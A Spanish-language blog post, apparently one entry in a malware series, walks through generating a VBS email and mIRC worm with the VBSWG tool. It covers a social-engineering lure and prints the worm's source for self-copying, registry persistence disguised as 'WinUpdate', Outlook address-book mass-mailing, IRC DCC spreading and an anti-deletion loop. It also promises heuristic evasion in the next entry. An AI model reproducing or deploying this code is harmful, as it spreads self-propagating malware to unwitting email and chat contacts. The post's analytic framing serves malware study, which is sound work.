Creación y Análisis de un Worm VBS creado con VBSWG

En la entrega pasada presenté una pequeña introducción al Malware y enumeré los diversos tipos que existen, ademas de describir a grandes rasgos su funcionamiento.

Para comenzar a entender como trabajar a la hora de diseñar malware, empezaremos analizando una muestra que crearemos nosotros mismos con VBSWG (Visual Basic Script Worm Generator.

EL exe de VBWG y su archivo de ayuda

EL exe de VBSWG y su archivo de ayuda

VBSWG es relativamente sencillo de usar, es bastante intuitivo. Lo único que tenemos que hacer es ir llenando las opciones con las que contará el gusano.

También debemos considerar que:

  • Cualquier archivo que creemos con VBSWG, hoy en día tiene nulas posibilidades de propagación, a no ser que se esté ejecutando Windows con una cuenta con permisos privilegiados (“de administrador”).
  • Hoy en día, los archivos generados con VBSWG suelen ser detectados por los antivirus como “VBS/VBSWG.gen”.
  • El propio VBSWG es detectado por los Antivirus como W32.Hacktool.WornGen o nombres similares.

Conseguir una copia de VBSWG

Si no tienes el programa, una búsqueda rápida en Google con el término “VBSWG vxheaven download” te llevará a una página donde podrás descargarlo. Descarga la última versión.

Después de descargarlo y ejecutarlo, aparece la siguiente ventana

Ventana principal de VBSWG

Ventana principal de VBSWG

Voy a describir las opciones que coloqué para la creación del worm, con el fin de ir buscando cada una de ellas durante el análisis posterior.

En el aparatado startup especificaremos el nombre del gusano y el nuestro, también especificamos el nombre del archivo VBS y a donde se va a copiar. Yo he dejado ese apartado como sigue:

  • Worm name: Telcel Chafa
  • Your name: Underdog1987
  • File name: TelcelChafa.txt.vbs
  • Copy to: %TempDir%

En el apartado E-mail, indicaremos si el worm se va a enviar a la libreta de direcciones de Outlook, dicho método de propagación era muy popular en la década de los 90’s y la primera mitad de la década de los 2000’s.

En VBSWG podemos especificar 2 formas de como será la propagación por correo: como archivo adjunto, o en el cuerpo del correo. Si elegimos que la propagación sea como archivo adjunto, deberemos de indicar un texto para el mensaje de correo.

Opciones de Mail

Opciones de Mail

Pasamos hasta el apartado Extras y seleccionamos Antideletion. En el cuadro de diálogo que aparece activamos las dos casillas: Anti Deletion y Anti Registry Deletion.

Por último hacemos clic en el botón Generate. VBSWG nos preguntará en donde se ha de guardar el archivo, elegimos una ubicación fácil de recordar.

Nota: El archivo generado es un virus. Su uso y los resultados obtenidos son de tu entera responsabilidad.

Análisis

Para analizar un malware como el que se acaba de crear en los pasos anteriores, se requieren conocimientos en el lenguaje de programación Visual Basic Scripting Edition y/o Visual Basic for Applications y/o Visual Basic 5/6. Si no tienes dichos conocimientos te recomiendo buscar un tutorial; incluso hay tutoriales de VBS enfocados al desarrollo de virus, como el de Kuasanagui/GEDZAC.

Para comenzar el análisis del archivo lo abrimos con el Bloc de Notas de Windows. VBS es un lenguaje interpretado, así que además de tener acceso al código fuente, podremos modificarlo para experimentar con él.

Parte del código fuente del worm generado

Parte del código fuente del worm generado

Como ya mencione en la anterior entrega, el virus generado, en apariencia simple, incluye 4 rutinas que todo gusano debe tener:

  • “Instalarse” en el ordenador. Técnicamente esta parte sería lo que se conoce como “Infectar el equipo”.
  • Ejecutarse sin consentimiento del usuario al iniciar Windows.
  • Reproducirse cada vez que se ejecuta.
  • Tratar de impedir su eliminación.

Para ejecutarse por primera vez, se vale de la ingeniería social. Un usuario poco experimentado, podrá abrir el archivo adjunto, pensando que realmente se trata de una petición para que Telcel mejore su servicio.

“Instalarse” en el ordenador

Los virus generados con VBSWG hacen esta tarea de una forma muy simple, simplemente copian el script que se está ejecutando a la ubicación que establecimos en el apartado “Copy worm to“, en este caso fue la carpeta de archivos temporales (getSpecialFolders(2)). Para ello usan código como el siguiente:

Set R67441F6 = createobject("scripting.filesystemobject")
R80VV2N8 = R67441F6.getspecialfolder(2)
D7JJKSHK = R80VV2N8 & "\TelcelChafa.txt.vbs"
R67441F6.copyfile wscript.scriptfullname, D7JJKSHK

Scripting.FileSystemObject en VBS es un objeto que nos permite trabajar con el sistema de archivos, permitiéndonos copiar, borrar, ocultar archivos y directorios.

Ejecutarse al iniciar Windows

La forma más fácil de hacer esto es añadiéndose al run del registro. Como seguramente sabes, el Registro de Windows es una inmensa base de datos donde se guarda gran parte de la configuración del sistema operativo y las aplicaciones instaladas. Parte de la configuración que se guarda es precisamente, qué programas se ejecutan al iniciar la sesión, así que lo único que hace el worm es añadir una entrada para llamarse a sí mismo.

Set H9399573 = createobject("wscript.shell")
H9399573.regwrite "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\WinUpdate", "wscript.exe " & D7JJKSHK & " %"

Reproducirse cada vez que se ejecuta

En este caso, por las opciones que seleccionamos al momento de crear el worm, este se propagará por correo electrónico como un archivo adjunto.  Además intentará buscar si está instalado en el equipo el programa de mensajeria mIRC para intentar enviarse a las conversaciones del mismo.

Cabe destacar que ambas funciones de reproducción incluyen un Killswitch, ya que solo se ejecutarán si no existe determinada clave en el registro de Windows. Probablemente todos los virus generados con VBSWG incluyan dichos interruptores.

Killswitch que deshabilita las rutinas de propagación. Todo lo que hay que hacer es crear dichas claves del Registro de Windows

Para enviarse por correo, el gusano utiliza la API de Microsoft Outlook, por lo que este deberá estar instalado y debidamente configurado en el equipo, también es importante recalcar que el código generado por VBSWG no incluye ninguna instrucción o rutina para evadir errores. Esto significa que si Outlook no está instalado en el equipo infectado la linea Set SBS4853M = CreateObject(“Outlook.Application”) provocará un error que detendrá todo el script.

Function QSPKI130()
Set SBS4853M = CreateObject("Outlook.Application")
If SBS4853M = "Outlook" Then
Set FI643800 = SBS4853M.GetNameSpace("MAPI")
Set JDBN29FV = FI643800.AddressLists
For Each K1C8B581 In JDBN29FV
If K1C8B581.AddressEntries.Count <> 0 Then
G71F746V = K1C8B581.AddressEntries.Count
For V4G4U9EJ = 1 To G71F746V
Set E3QVO787 = SBS4853M.CreateItem(0)
Set SD1KST7R = K1C8B581.AddressEntries(V4G4U9EJ)
E3QVO787.To = SD1KST7R.Address
E3QVO787.Subject = "Telcel Chafa"
E3QVO787.Body = "Firma la petición adjunta y obliguemos a Telcel a mejorar su servicio." & vbcrlf & "" & vbcrlf & "Yo ya firmé, ¿qué esperas?" & vbcrlf & ""
execute "set PFP654L9 =E3QVO787." & Chr(65) & Chr(116) & Chr(116) & Chr(97) & Chr(99) & Chr(104) & Chr(109) & Chr(101) & Chr(110) & Chr(116) & Chr(115)
QEP4IF1D = S336DMBD
E3QVO787.DeleteAfterSubmit = True
PFP654L9.Add QEP4IF1D
If E3QVO787.To <> "" Then
E3QVO787.Send
End If
Next
End If
Next
End If
End function

Para propagarse por mIRC, crea o modifica el archivo script.ini en una de las siguientes rutas: c:\mirc; c:\mirc32; %PROGRAMFILES%\mirc; %PROGRAMFILES%\mirc32 dependiendo si existe alguno de los siguientes archivos: c:\mirc\mirc.ini; c:\mirc32\mirc.ini; %PROGRAMFILES%\mirc\mirc.ini; %PROGRAMFILES%\mirc32\mirc.ini.

El archivo script.ini creado tiene como finalidad enviar una copia del gusano  a todo aquél que se conecte al mismo canal que el usuario.

function V9TS8H82(F3E2IOCR)
If F3E2IOCR <> "" Then
UGME0U5T = A57IV0KC.regread("HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\ProgramFilesDir")
If K2IOCRUB.fileexists("c:\mirc\mirc.ini") Then
F3E2IOCR = "c:\mirc"
ElseIf K2IOCRUB.fileexists("c:\mirc32\mirc.ini") Then
F3E2IOCR = "c:\mirc32"
ElseIf K2IOCRUB.fileexists(UGME0U5T & "\mirc\mirc.ini") Then
F3E2IOCR = UGME0U5T & "\mirc"
ElseIf K2IOCRUB.fileexists(UGME0U5T & "\mirc32\mirc.ini") Then
F3E2IOCR = UGME0U5T & "\mirc"
Else
F3E2IOCR = ""
End If
End If
If F3E2IOCR <> "" Then
Set DPQ57IV0 = K2IOCRUB.CreateTextFile(F3E2IOCR & "\script.ini", True)
DPQ57IV0 = "[script]" & vbCrLf & "n0=on 1:JOIN:#:{"
DPQ57IV0 = DPQ57IV0 & vbCrLf & "n0=on 1:JOIN:#:{"
DPQ57IV0 = DPQ57IV0 & vbCrLf & "n1= /if ( $nick == $me ) { halt }"
DPQ57IV0 = DPQ57IV0 & vbCrLf & "n2= /." & Chr(100) & Chr(99) & Chr(99) & " send $nick "
DPQ57IV0 = DPQ57IV0 & S336DMBD
DPQ57IV0 = DPQ57IV0 & vbCrLf & "n3=}"
script.Close
End If
End Function

Tratar de impedir su eliminación

EL gusano generado incluye una rutina para impedir su eliminación. esta es relativamente sencilla, pero puede ser muy efectiva ante usuarios poco experimentados en el manejo de malware.

Dicha rutina se activa cuando el gusano termina sus payloads de reproducción y permanece ejecutándose todo el tiempo (gracias a un loop infinito. A grandes rasgos lo que hace es estar verificando todo el tiempo que existan los archivos y claves del registro que fueron creados previamente.

Set DHRK6AVD= K2IOCRUB.opentextfile(wscript.scriptfullname)
L68M32VG = DHRK6AVD.readall
DHRK6AVD.close
Do
if not(K2IOCRUB.fileexists(wscript.scriptfullname)) then
set HB4EDRD5= K2IOCRUB.createtextfile(wscript.scriptfullname)
HB4EDRD5.write L68M32VG
HB4EDRD5.close
end if
H1HG9H62 = A57IV0KC.regread("HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\WinUpdate")
If H1HG9H62 <> "wscript.exe " & S336DMBD & " %" then
A57IV0KC.regwrite "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\WinUpdate", "wscript.exe " & S336DMBD & " %"
end if
H1HG9H62= ""
loop

Como conclusión, podemos decir que VBSWG genera worms con código de relativamente baja calidad y fácilmente analizable, sin embargo por lo menos un virus muy famoso fue creado con esta herramienta: el W32.Kournikova/VBS

Hasta aquí esta entrega. En la próxima, analizaremos un VBS hecho totalmente a mano, un pequeño worm que hice en el 2003 (por cierto, tan malo, que nunca fue liberado) y con el cual hablaremos un poco de evasión de heurística y evasión de errores en el script.

 

 

Anuncios

Responder

Introduce tus datos o haz clic en un icono para iniciar sesión:

Logo de WordPress.com

Estás comentando usando tu cuenta de WordPress.com. Cerrar sesión / Cambiar )

Imagen de Twitter

Estás comentando usando tu cuenta de Twitter. Cerrar sesión / Cambiar )

Foto de Facebook

Estás comentando usando tu cuenta de Facebook. Cerrar sesión / Cambiar )

Google+ photo

Estás comentando usando tu cuenta de Google+. Cerrar sesión / Cambiar )

Conectando a %s